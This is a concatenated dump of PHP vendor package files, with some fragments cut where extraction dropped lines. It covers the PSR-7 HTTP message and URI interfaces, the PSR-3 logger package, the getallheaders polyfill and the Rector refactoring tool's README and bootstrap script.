$body->write('abcd'); // seeking to start of stream $body->seek(0); // writing 'ef' $body->write('ef'); // at this point the stream contains "efcd" ``` #### Prepending by rewriting separately ```php // assuming our response body stream only contains: "abcd" $body = $response->getBody(); $body->rewind(); $contents = $body->getContents(); // abcd // seeking the stream to beginning $body->rewind(); $body->write('ef'); // stream contains "efcd" $body->write($contents); // stream contains "efabcd" ``` > Note: `getContents()` seeks the stream while reading it, therefore if the second `rewind()` method call was not present the stream would have resulted in `abcdefabcd` because the `write()` method appends to stream if not preceeded by `rewind()` or `seek(0)`. #### Prepending by using contents as a string ```php $body = $response->getBody(); $body->rewind(); $contents = $body->getContents(); // efabcd $contents = 'ef'.$contents; $body->rewind(); $body->write($contents); ``` getHeaders() as $name => $values) { * echo $name . ": " . implode(", ", $values); * } * * // Emit headers iteratively: * foreach ($message->getHeaders() as $name => $values) { * foreach ($values as $value) { * header(sprintf('%s: %s', $name, $value), false); * } * } * * While header names are not case-sensitive, getHeaders() will preserve the * exact case in which headers were originally specified. * * @return string[][] Returns an associative array of the message's headers. Each * key MUST be a header name, and each value MUST be an array of strings * for that header. */ public function getHeaders(): array; /** * Checks if a header exists by the given case-insensitive name. * * @param string $name Case-insensitive header field name. * @return bool Returns true if any header names match the given header * name using a case-insensitive string comparison. Returns false if * no matching header name is found in the message. */ public function hasHeader(string $name): bool; /** * Retrieves a message header value by the given case-insensitive name. * * This method returns an array of all the header values of the given * case-insensitive header name. * * If the header does not appear in the message, this method MUST return an * empty array. * * @param string $name Case-insensitive header field name. * @return string[] An array of string values as provided for the given * header. If the header does not appear in the message, this method MUST * return an empty array. */ public function getHeader(string $name): array; /** * Retrieves a comma-separated string of the values for a single header. * * This method returns all of the header values of the given * case-insensitive header name as a string concatenated together using * a comma. * * NOTE: Not all header values may be appropriately represented using * comma concatenation. For such headers, use getHeader() instead * and supply your own delimiter when concatenating. * * If the header does not appear in the message, this method MUST return * an empty string. * * @param string $name Case-insensitive header field name. * @return string A string of values as provided for the given header * concatenated together using a comma. If the header does not appear in * the message, this method MUST return an empty string. */ public function getHeaderLine(string $name): string; /** * Return an instance with the provided value replacing the specified header. * * While header names are case-insensitive, the casing of the header will * be preserved by this function, and returned from getHeaders(). * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * new and/or updated header and value. * * @param string $name Case-insensitive header field name. * @param string|string[] $value Header value(s). * @return static * @throws \InvalidArgumentException for invalid header names or values. */ public function withHeader(string $name, $value): MessageInterface; /** * Return an instance with the specified header appended with the given value. * * Existing values for the specified header will be maintained. The new * value(s) will be appended to the existing list. If the header did not * exist previously, it will be added. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * new header and/or value. * * @param string $name Case-insensitive header field name to add. * @param string|string[] $value Header value(s). * @return static * @throws \InvalidArgumentException for invalid header names or values. */ public function withAddedHeader(string $name, $value): MessageInterface; /** * Return an instance without the specified header. * * Header resolution MUST be done without case-sensitivity. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that removes * the named header. * * @param string $name Case-insensitive header field name to remove. * @return static */ public function withoutHeader(string $name): MessageInterface; /** * Gets the body of the message. * * @return StreamInterface Returns the body as a stream. */ public function getBody(): StreamInterface; /** * Return an instance with the specified message body. * * The body MUST be a StreamInterface object. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return a new instance that has the * new body stream. * * @param StreamInterface $body Body. * @return static * @throws \InvalidArgumentException When the body is not valid. */ public function withBody(StreamInterface $body): MessageInterface; } getQuery()` * or from the `QUERY_STRING` server param. * * @return array */ public function getQueryParams(): array; /** * Return an instance with the specified query string arguments. * * These values SHOULD remain immutable over the course of the incoming * request. They MAY be injected during instantiation, such as from PHP's * $_GET superglobal, or MAY be derived from some other value such as the * URI. In cases where the arguments are parsed from the URI, the data * MUST be compatible with what PHP's parse_str() would return for * purposes of how duplicate query parameters are handled, and how nested * sets are handled. * * Setting query string arguments MUST NOT change the URI stored by the * request, nor the values in the server params. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated query string arguments. * * @param array $query Array of query string arguments, typically from * $_GET. * @return static */ public function withQueryParams(array $query): ServerRequestInterface; /** * Retrieve normalized file upload data. * * This method returns upload metadata in a normalized tree, with each leaf * an instance of Psr\Http\Message\UploadedFileInterface. * * These values MAY be prepared from $_FILES or the message body during * instantiation, or MAY be injected via withUploadedFiles(). * * @return array An array tree of UploadedFileInterface instances; an empty * array MUST be returned if no data is present. */ public function getUploadedFiles(): array; /** * Create a new instance with the specified uploaded files. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated body parameters. * * @param array $uploadedFiles An array tree of UploadedFileInterface instances. * @return static * @throws \InvalidArgumentException if an invalid structure is provided. */ public function withUploadedFiles(array $uploadedFiles): ServerRequestInterface; /** * Retrieve any parameters provided in the request body. * * If the request Content-Type is either application/x-www-form-urlencoded * or multipart/form-data, and the request method is POST, this method MUST * return the contents of $_POST. * * Otherwise, this method may return any results of deserializing * the request body content; as parsing returns structured content, the * potential types MUST be arrays or objects only. A null value indicates * the absence of body content. * * @return null|array|object The deserialized body parameters, if any. * These will typically be an array or object. */ public function getParsedBody(); /** * Return an instance with the specified body parameters. * * These MAY be injected during instantiation. * * If the request Content-Type is either application/x-www-form-urlencoded * or multipart/form-data, and the request method is POST, use this method * ONLY to inject the contents of $_POST. * * The data IS NOT REQUIRED to come from $_POST, but MUST be the results of * deserializing the request body content. Deserialization/parsing returns * structured data, and, as such, this method ONLY accepts arrays or objects, * or a null value if nothing was available to parse. * * As an example, if content negotiation determines that the request data * is a JSON payload, this method could be used to create a request * instance with the deserialized parameters. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated body parameters. * * @param null|array|object $data The deserialized body data. This will * typically be in an array or object. * @return static * @throws \InvalidArgumentException if an unsupported argument type is * provided. */ public function withParsedBody($data): ServerRequestInterface; /** * Retrieve attributes derived from the request. * * The request "attributes" may be used to allow injection of any * parameters derived from the request: e.g., the results of path * match operations; the results of decrypting cookies; the results of * deserializing non-form-encoded message bodies; etc. Attributes * will be application and request specific, and CAN be mutable. * * @return array Attributes derived from the request. */ public function getAttributes(): array; /** * Retrieve a single derived request attribute. * * Retrieves a single derived request attribute as described in * getAttributes(). If the attribute has not been previously set, returns * the default value as provided. * * This method obviates the need for a hasAttribute() method, as it allows * specifying a default value to return if the attribute is not found. * * @see getAttributes() * @param string $name The attribute name. * @param mixed $default Default value to return if the attribute does not exist. * @return mixed */ public function getAttribute(string $name, $default = null); /** * Return an instance with the specified derived request attribute. * * This method allows setting a single derived request attribute as * described in getAttributes(). * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated attribute. * * @see getAttributes() * @param string $name The attribute name. * @param mixed $value The value of the attribute. * @return static */ public function withAttribute(string $name, $value): ServerRequestInterface; /** * Return an instance that removes the specified derived request attribute. * * This method allows removing a single derived request attribute as * described in getAttributes(). * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that removes * the attribute. * * @see getAttributes() * @param string $name The attribute name. * @return static */ public function withoutAttribute(string $name): ServerRequestInterface; } * [user-info@]host[:port] * * * If the port component is not set or is the standard port for the current * scheme, it SHOULD NOT be included. * * @see https://tools.ietf.org/html/rfc3986#section-3.2 * @return string The URI authority, in "[user-info@]host[:port]" format. */ public function getAuthority(): string; /** * Retrieve the user information component of the URI. * * If no user information is present, this method MUST return an empty * string. * * If a user is present in the URI, this will return that value; * additionally, if the password is also present, it will be appended to the * user value, with a colon (":") separating the values. * * The trailing "@" character is not part of the user information and MUST * NOT be added. * * @return string The URI user information, in "username[:password]" format. */ public function getUserInfo(): string; /** * Retrieve the host component of the URI. * * If no host is present, this method MUST return an empty string. * * The value returned MUST be normalized to lowercase, per RFC 3986 * Section 3.2.2. * * @see http://tools.ietf.org/html/rfc3986#section-3.2.2 * @return string The URI host. */ public function getHost(): string; /** * Retrieve the port component of the URI. * * If a port is present, and it is non-standard for the current scheme, * this method MUST return it as an integer. If the port is the standard port * used with the current scheme, this method SHOULD return null. * * If no port is present, and no scheme is present, this method MUST return * a null value. * * If no port is present, but a scheme is present, this method MAY return * the standard port for that scheme, but SHOULD return null. * * @return null|int The URI port. */ public function getPort(): ?int; /** * Retrieve the path component of the URI. * * The path can either be empty or absolute (starting with a slash) or * rootless (not starting with a slash). Implementations MUST support all * three syntaxes. * * Normally, the empty path "" and absolute path "/" are considered equal as * defined in RFC 7230 Section 2.7.3. But this method MUST NOT automatically * do this normalization because in contexts with a trimmed base path, e.g. * the front controller, this difference becomes significant. It's the task * of the user to handle both "" and "/". * * The value returned MUST be percent-encoded, but MUST NOT double-encode * any characters. To determine what characters to encode, please refer to * RFC 3986, Sections 2 and 3.3. * * As an example, if the value should include a slash ("/") not intended as * delimiter between path segments, that value MUST be passed in encoded * form (e.g., "%2F") to the instance. * * @see https://tools.ietf.org/html/rfc3986#section-2 * @see https://tools.ietf.org/html/rfc3986#section-3.3 * @return string The URI path. */ public function getPath(): string; /** * Retrieve the query string of the URI. * * If no query string is present, this method MUST return an empty string. * * The leading "?" character is not part of the query and MUST NOT be * added. * * The value returned MUST be percent-encoded, but MUST NOT double-encode * any characters. To determine what characters to encode, please refer to * RFC 3986, Sections 2 and 3.4. * * As an example, if a value in a key/value pair of the query string should * include an ampersand ("&") not intended as a delimiter between values, * that value MUST be passed in encoded form (e.g., "%26") to the instance. * * @see https://tools.ietf.org/html/rfc3986#section-2 * @see https://tools.ietf.org/html/rfc3986#section-3.4 * @return string The URI query string. */ public function getQuery(): string; /** * Retrieve the fragment component of the URI. * * If no fragment is present, this method MUST return an empty string. * * The leading "#" character is not part of the fragment and MUST NOT be * added. * * The value returned MUST be percent-encoded, but MUST NOT double-encode * any characters. To determine what characters to encode, please refer to * RFC 3986, Sections 2 and 3.5. * * @see https://tools.ietf.org/html/rfc3986#section-2 * @see https://tools.ietf.org/html/rfc3986#section-3.5 * @return string The URI fragment. */ public function getFragment(): string; /** * Return an instance with the specified scheme. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified scheme. * * Implementations MUST support the schemes "http" and "https" case * insensitively, and MAY accommodate other schemes if required. * * An empty scheme is equivalent to removing the scheme. * * @param string $scheme The scheme to use with the new instance. * @return static A new instance with the specified scheme. * @throws \InvalidArgumentException for invalid or unsupported schemes. */ public function withScheme(string $scheme): UriInterface; /** * Return an instance with the specified user information. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified user information. * * Password is optional, but the user information MUST include the * user; an empty string for the user is equivalent to removing user * information. * * @param string $user The user name to use for authority. * @param null|string $password The password associated with $user. * @return static A new instance with the specified user information. */ public function withUserInfo(string $user, ?string $password = null): UriInterface; /** * Return an instance with the specified host. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified host. * * An empty host value is equivalent to removing the host. * * @param string $host The hostname to use with the new instance. * @return static A new instance with the specified host. * @throws \InvalidArgumentException for invalid hostnames. */ public function withHost(string $host): UriInterface; /** * Return an instance with the specified port. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified port. * * Implementations MUST raise an exception for ports outside the * established TCP and UDP port ranges. * * A null value provided for the port is equivalent to removing the port * information. * * @param null|int $port The port to use with the new instance; a null value * removes the port information. * @return static A new instance with the specified port. * @throws \InvalidArgumentException for invalid ports. */ public function withPort(?int $port): UriInterface; /** * Return an instance with the specified path. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified path. * * The path can either be empty or absolute (starting with a slash) or * rootless (not starting with a slash). Implementations MUST support all * three syntaxes. * * If the path is intended to be domain-relative rather than path relative then * it must begin with a slash ("/"). Paths not starting with a slash ("/") * are assumed to be relative to some base path known to the application or * consumer. * * Users can provide both encoded and decoded path characters. * Implementations ensure the correct encoding as outlined in getPath(). * * @param string $path The path to use with the new instance. * @return static A new instance with the specified path. * @throws \InvalidArgumentException for invalid paths. */ public function withPath(string $path): UriInterface; /** * Return an instance with the specified query string. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified query string. * * Users can provide both encoded and decoded query characters. * Implementations ensure the correct encoding as outlined in getQuery(). * * An empty query string value is equivalent to removing the query string. * * @param string $query The query string to use with the new instance. * @return static A new instance with the specified query string. * @throws \InvalidArgumentException for invalid query strings. */ public function withQuery(string $query): UriInterface; /** * Return an instance with the specified URI fragment. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified URI fragment. * * Users can provide both encoded and decoded fragment characters. * Implementations ensure the correct encoding as outlined in getFragment(). * * An empty fragment value is equivalent to removing the fragment. * * @param string $fragment The fragment to use with the new instance. * @return static A new instance with the specified fragment. */ public function withFragment(string $fragment): UriInterface; /** * Return the string representation as a URI reference. * * Depending on which components of the URI are present, the resulting * string is either a full URI or relative reference according to RFC 3986, * Section 4.1. The method concatenates the various components of the URI, * using the appropriate delimiters: * * - If a scheme is present, it MUST be suffixed by ":". * - If an authority is present, it MUST be prefixed by "//". * - The path can be concatenated without delimiters. But there are two * cases where the path has to be adjusted to make the URI reference * valid as PHP does not allow to throw an exception in __toString(): * - If the path is rootless and an authority is present, the path MUST * be prefixed by "/". * - If the path is starting with more than one "/" and no authority is * present, the starting slashes MUST be reduced to one. * - If a query is present, it MUST be prefixed by "?". * - If a fragment is present, it MUST be prefixed by "#". * * @see http://tools.ietf.org/html/rfc3986#section-4.1 * @return string */ public function __toString(): string; } Copyright (c) 2012 PHP Framework Interoperability Group Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. PSR Log ======= This repository holds all interfaces/classes/traits related to [PSR-3](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md). Note that this is not a logger of its own. It is merely an interface that describes a logger. See the specification for more details. Installation ------------ ```bash composer require psr/log ``` Usage ----- If you need a logger, you can use the interface like this: ```php logger = $logger; } public function doSomething() { if ($this->logger) { $this->logger->info('Doing work'); } try { $this->doSomethingElse(); } catch (Exception $exception) { $this->logger->error('Oh no!', array('exception' => $exception)); } // do something useful } } ``` You can then pick one of the implementations of the interface to get a logger. If you want to implement the interface, you can require this package and implement `Psr\Log\LoggerInterface` in your code. Please read the [specification text](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md) for details. { "name": "psr/log", "description": "Common interface for logging libraries", "keywords": ["psr", "psr-3", "log"], "homepage": "https://github.com/php-fig/log", "license": "MIT", "authors": [ { "name": "PHP-FIG", "homepage": "https://www.php-fig.org/" } ], "require": { "php": ">=8.0.0" }, "autoload": { "psr-4": { "Psr\\Log\\": "src" } }, "extra": { "branch-alias": { "dev-master": "2.0.x-dev" } } } logger = $logger; } } log(LogLevel::EMERGENCY, $message, $context); } /** * Action must be taken immediately. * * Example: Entire website down, database unavailable, etc. This should * trigger the SMS alerts and wake you up. * * @param string|\Stringable $message * @param array $context * * @return void */ public function alert(string|\Stringable $message, array $context = []) { $this->log(LogLevel::ALERT, $message, $context); } /** * Critical conditions. * * Example: Application component unavailable, unexpected exception. * * @param string|\Stringable $message * @param array $context * * @return void */ public function critical(string|\Stringable $message, array $context = []) { $this->log(LogLevel::CRITICAL, $message, $context); } /** * Runtime errors that do not require immediate action but should typically * be logged and monitored. * * @param string|\Stringable $message * @param array $context * * @return void */ public function error(string|\Stringable $message, array $context = []) { $this->log(LogLevel::ERROR, $message, $context); } /** * Exceptional occurrences that are not errors. * * Example: Use of deprecated APIs, poor use of an API, undesirable things * that are not necessarily wrong. * * @param string|\Stringable $message * @param array $context * * @return void */ public function warning(string|\Stringable $message, array $context = []) { $this->log(LogLevel::WARNING, $message, $context); } /** * Normal but significant events. * * @param string|\Stringable $message * @param array $context * * @return void */ public function notice(string|\Stringable $message, array $context = []) { $this->log(LogLevel::NOTICE, $message, $context); } /** * Interesting events. * * Example: User logs in, SQL logs. * * @param string|\Stringable $message * @param array $context * * @return void */ public function info(string|\Stringable $message, array $context = []) { $this->log(LogLevel::INFO, $message, $context); } /** * Detailed debug information. * * @param string|\Stringable $message * @param array $context * * @return void */ public function debug(string|\Stringable $message, array $context = []) { $this->log(LogLevel::DEBUG, $message, $context); } /** * Logs with an arbitrary level. * * @param mixed $level * @param string|\Stringable $message * @param array $context * * @return void * * @throws \Psr\Log\InvalidArgumentException */ abstract public function log($level, string|\Stringable $message, array $context = []); } logger) { }` * blocks. */ class NullLogger extends AbstractLogger { /** * Logs with an arbitrary level. * * @param mixed $level * @param string|\Stringable $message * @param array $context * * @return void * * @throws \Psr\Log\InvalidArgumentException */ public function log($level, string|\Stringable $message, array $context = []) { // noop } } The MIT License (MIT) Copyright (c) 2014 Ralph Khattar Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. getallheaders ============= PHP `getallheaders()` polyfill. Compatible with PHP >= 5.3. [![Build Status](https://travis-ci.org/ralouphie/getallheaders.svg?branch=master)](https://travis-ci.org/ralouphie/getallheaders) [![Coverage Status](https://coveralls.io/repos/ralouphie/getallheaders/badge.png?branch=master)](https://coveralls.io/r/ralouphie/getallheaders?branch=master) [![Latest Stable Version](https://poser.pugx.org/ralouphie/getallheaders/v/stable.png)](https://packagist.org/packages/ralouphie/getallheaders) [![Latest Unstable Version](https://poser.pugx.org/ralouphie/getallheaders/v/unstable.png)](https://packagist.org/packages/ralouphie/getallheaders) [![License](https://poser.pugx.org/ralouphie/getallheaders/license.png)](https://packagist.org/packages/ralouphie/getallheaders) This is a simple polyfill for [`getallheaders()`](http://www.php.net/manual/en/function.getallheaders.php). ## Install For PHP version **`>= 5.6`**: ``` composer require ralouphie/getallheaders ``` For PHP version **`< 5.6`**: ``` composer require ralouphie/getallheaders "^2" ``` { "name": "ralouphie/getallheaders", "description": "A polyfill for getallheaders.", "license": "MIT", "authors": [ { "name": "Ralph Khattar", "email": "ralph.khattar@gmail.com" } ], "require": { "php": ">=5.6" }, "require-dev": { "phpunit/phpunit": "^5 || ^6.5", "php-coveralls/php-coveralls": "^2.1" }, "autoload": { "files": ["src/getallheaders.php"] }, "autoload-dev": { "psr-4": { "getallheaders\\Tests\\": "tests/" } } } 'Content-Type', 'CONTENT_LENGTH' => 'Content-Length', 'CONTENT_MD5' => 'Content-Md5', ); foreach ($_SERVER as $key => $value) { if (substr($key, 0, 5) === 'HTTP_') { $key = substr($key, 5); if (!isset($copy_server[$key]) || !isset($_SERVER[$key])) { $key = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', $key)))); $headers[$key] = $value; } } elseif (isset($copy_server[$key])) { $headers[$copy_server[$key]] = $value; } } if (!isset($headers['Authorization'])) { if (isset($_SERVER['REDIRECT_HTTP_AUTHORIZATION'])) { $headers['Authorization'] = $_SERVER['REDIRECT_HTTP_AUTHORIZATION']; } elseif (isset($_SERVER['PHP_AUTH_USER'])) { $basic_pass = isset($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : ''; $headers['Authorization'] = 'Basic ' . base64_encode($_SERVER['PHP_AUTH_USER'] . ':' . $basic_pass); } elseif (isset($_SERVER['PHP_AUTH_DIGEST'])) { $headers['Authorization'] = $_SERVER['PHP_AUTH_DIGEST']; } } return $headers; } } The MIT License --------------- Copyright (c) 2017-present Tomáš Votruba (https://tomasvotruba.cz) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # Rector - Instant Upgrades and Automated Refactoring [![Downloads](https://img.shields.io/packagist/dt/rector/rector.svg?style=flat-square)](https://packagist.org/packages/rector/rector)
    Rector instantly upgrades and refactors the PHP code of your application. It can help you in 2 major areas: ### 1. Instant Upgrades Rector now supports upgrades from PHP 5.3 to 8.2 and major open-source projects like [Symfony](https://github.com/rectorphp/rector-symfony), [PHPUnit](https://github.com/rectorphp/rector-phpunit), and [Doctrine](https://github.com/rectorphp/rector-doctrine). Do you want to **be constantly on the latest PHP and Framework without effort**? Use Rector to handle **instant upgrades** for you. ### 2. Automated Refactoring Do you have code quality you need, but struggle to keep it with new developers in your team? Do you want to see smart code-reviews even when every senior developers sleeps? Add Rector to your CI and let it **continuously refactor your code** and keep the code quality high. Read our [blogpost](https://getrector.com/blog/new-setup-ci-command-to-let-rector-work-for-you) to see how to set up automated refactoring. ## Install ```bash composer require rector/rector --dev ``` ## Running Rector There are 2 main ways to use Rector: - a *single rule*, to have the change under control - or group of rules called *sets* To use them, create a `rector.php` in your root directory: ```bash vendor/bin/rector ``` And modify it: ```php use Rector\Config\RectorConfig; use Rector\TypeDeclaration\Rector\Property\TypedPropertyFromStrictConstructorRector; return RectorConfig::configure() // register single rule ->withRules([ TypedPropertyFromStrictConstructorRector::class ]) // here we can define, what prepared sets of rules will be applied ->withPreparedSets( deadCode: true, codeQuality: true ); ``` Then dry run Rector: ```bash vendor/bin/rector process src --dry-run ``` Rector will show you diff of files that it *would* change. To *make* the changes, drop `--dry-run`: ```bash vendor/bin/rector process src ``` ## Documentation * Find [full documentation here](https://getrector.com/documentation/). * [Explore Rector Rules](https://getrector.com/find-rule)
    ## Learn Faster with a Book Are you curious, how Rector works internally, how to create your own rules and test them and why Rector was born? Read [Rector - The Power of Automated Refactoring](https://leanpub.com/rector-the-power-of-automated-refactoring) that will take you step by step through the Rector setup and how to create your own rules.
    ## Empowered by Community :heart: The Rector community is powerful thanks to active maintainers who take care of Rector sets for particular projects. Among there projects belong: * [palantirnet/drupal-rector](https://github.com/palantirnet/drupal-rector) * [craftcms/rector](https://github.com/craftcms/rector) * [FriendsOfShopware/shopware-rector](https://github.com/FriendsOfShopware/shopware-rector) * [sabbelasichon/typo3-rector](https://github.com/sabbelasichon/typo3-rector) * [sulu/sulu-rector](https://github.com/sulu/sulu-rector) * [efabrica-team/rector-nette](https://github.com/efabrica-team/rector-nette) * [Sylius/SyliusRector](https://github.com/Sylius/SyliusRector) * [CoditoNet/rector-money](https://github.com/CoditoNet/rector-money) * [laminas/laminas-servicemanager-migration](https://github.com/laminas/laminas-servicemanager-migration) * [cakephp/upgrade](https://github.com/cakephp/upgrade) * [driftingly/rector-laravel](https://github.com/driftingly/rector-laravel) * [contao/contao-rector](https://github.com/contao/contao-rector) * [php-static-analysis/rector-rule](https://github.com/php-static-analysis/rector-rule)
    ## Hire us to get Job Done :muscle: Rector is a tool that [we develop](https://getrector.com/) and share for free, so anyone can automate their refactoring. But not everyone has dozens of hours to understand complexity of abstract-syntax-tree in their own time. **That's why we provide commercial support - to save your time**. Would you like to apply Rector on your code base but don't have time for the struggle with your project? [Hire us](https://getrector.com/contact) to get there faster.
    ## How to Contribute See [the contribution guide](/CONTRIBUTING.md) or go to development repository [rector/rector-src](https://github.com/rectorphp/rector-src).
    ## Debugging You can use `--debug` option, that will print nested exceptions output: ```bash vendor/bin/rector process src/Controller --dry-run --debug ``` Or with Xdebug: 1. Make sure [Xdebug](https://xdebug.org/) is installed and configured 2. Add `--xdebug` option when running Rector ```bash vendor/bin/rector process src/Controller --dry-run --xdebug ``` To assist with simple debugging Rector provides 2 helpers to pretty-print AST-nodes: ```php use PhpParser\Node\Scalar\String_; $node = new String_('hello world!'); // prints node to string, as PHP code displays it print_node($node); ```
    ## Known Drawbacks * Rector uses [nikic/php-parser](https://github.com/nikic/PHP-Parser/), built on technology called an *abstract syntax tree* (AST). An AST doesn't know about spaces and when written to a file it produces poorly formatted code in both PHP and docblock annotations. * Rector in parallel mode will work most of the times for most OS. On Windows, you may encounter issues unresolvable despite of following the [Troubleshooting Parallel](https://getrector.com/documentation/troubleshooting-parallel) guide. In such case, check if you are using Powershell 7 (pwsh). Change your terminal to command prompt (cmd) or bash for Windows. ### How to Apply Coding Standards? **Your project needs to have a coding standard tool** and a set of formatting rules, so it can make Rector's output code nice and shiny again. We're using [ECS](https://github.com/symplify/easy-coding-standard) with [this setup](https://github.com/rectorphp/rector-src/blob/main/ecs.php). ### May cause unexpected output on File with mixed PHP+HTML content When you apply changes to File(s) thas has mixed PHP+HTML content, you may need to manually verify the changed file after apply the changes. #!/usr/bin/env php includeDependencyOrRepositoryVendorAutoloadIfExists(); final class AutoloadIncluder { /** * @var string[] */ private $alreadyLoadedAutoloadFiles = []; public function includeDependencyOrRepositoryVendorAutoloadIfExists() : void { // Rector's vendor is already loaded if (\class_exists(LazyContainerFactory::class)) { return; } // in Rector develop repository $this->loadIfExistsAndNotLoadedYet(__DIR__ . '/../vendor/autoload.php'); } /** * In case Rector is installed as vendor dependency, * this autoloads the project vendor/autoload.php, including Rector */ public function autoloadProjectAutoloaderFile() : void { $this->loadIfExistsAndNotLoadedYet(__DIR__ . '/../../../autoload.php'); } /** * In case Rector is installed as global dependency */ public function autoloadRectorInstalledAsGlobalDependency() : void { if (\dirname(__DIR__) === \dirname(\getcwd(), 2)) { return; } if (\is_dir('vendor/rector/rector')) { return; } $this->loadIfExistsAndNotLoadedYet('vendor/autoload.php'); } public function autoloadFromCommandLine() : void { $cliArgs = $_SERVER['argv']; $aOptionPosition = \array_search('-a', $cliArgs, \true); $autoloadFileOptionPosition = \array_search('--autoload-file', $cliArgs, \true); if (\is_int($aOptionPosition)) { $autoloadOptionPosition = $aOptionPosition; } elseif (\is_int($autoloadFileOptionPosition)) { $autoloadOptionPosition = $autoloadFileOptionPosition; } else { return; } $autoloadFileValuePosition = $autoloadOptionPosition + 1; $fileToAutoload = $cliArgs[$autoloadFileValuePosition] ?? null; if ($fileToAutoload === null) { return; } $this->loadIfExistsAndNotLoadedYet($fileToAutoload); } public function loadIfExistsAndNotLoadedYet(string $filePath) : void { if (!\file_exists($filePath)) { return; } if (\in_array($filePath, $this->alreadyLoadedAutoloadFiles, \true)) { return; } /** @var string $realPath always string after file_exists() check */ $realPath = \realpath($filePath); $this->alreadyLoadedAutoloadFiles[] = $realPath; require_once $filePath; } } \class_alias('RectorPrefix202411\\AutoloadIncluder', 'AutoloadIncluder', \false); if (\file_exists(__DIR__ . '/../preload.php') && \is_dir(__DIR__ . '/../vendor')) { require_once __DIR__ . '/../preload.php'; } // require rector-src on split packages if (\file_exists(__DIR__ . '/../preload-split-package.php') && \is_dir(__DIR__ . '/../../../../vendor')) { require_once __DIR__ . '/../preload-split-package.php'; } $autoloadIncluder->loadIfExistsAndNotLoadedYet(__DIR__ . '/../vendor/scoper-autoload.php'); $autoloadIncluder->autoloadProjectAutoloaderFile(); $autoloadIncluder->autoloadRectorInstalledAsGlobalDependency(); $autoloadIncluder->autoloadFromCommandLine(); $rectorConfigsResolver = new RectorConfigsResolver(); try { $bootstrapConfigs = $rectorConfigsResolver->provide(); $rectorContainerFactory = new RectorContainerFactory(); $container = $rectorContainerFactory->createFromBootstrapConfigs($bootstrapConfigs); } catch (\Throwable $throwable) { // for json output $argvInput = new ArgvInput(); $outputFormat = $argvInput->getParameterOption('--' . Option::OUTPUT_FORMAT); // report fatal error in json format if ($outputFormat === JsonOutputFormatter::NAME) { echo Json::encode(['fatal_errors' => [$throwable->getMessage()]]); } else { // report fatal errors in console format $symfonyStyleFactory = new SymfonyStyleFactory(new PrivatesAccessor()); $symfonyStyle = $symfonyStyleFactory->create(); $symfonyStyle->error($throwable->getMessage()); } exit(Command::FAILURE); } /** @var Application $application */ $application = $container->get(Application::class); exit($application->run()); resolve() . \PHP_EOL; loadClass($class); } } }); { 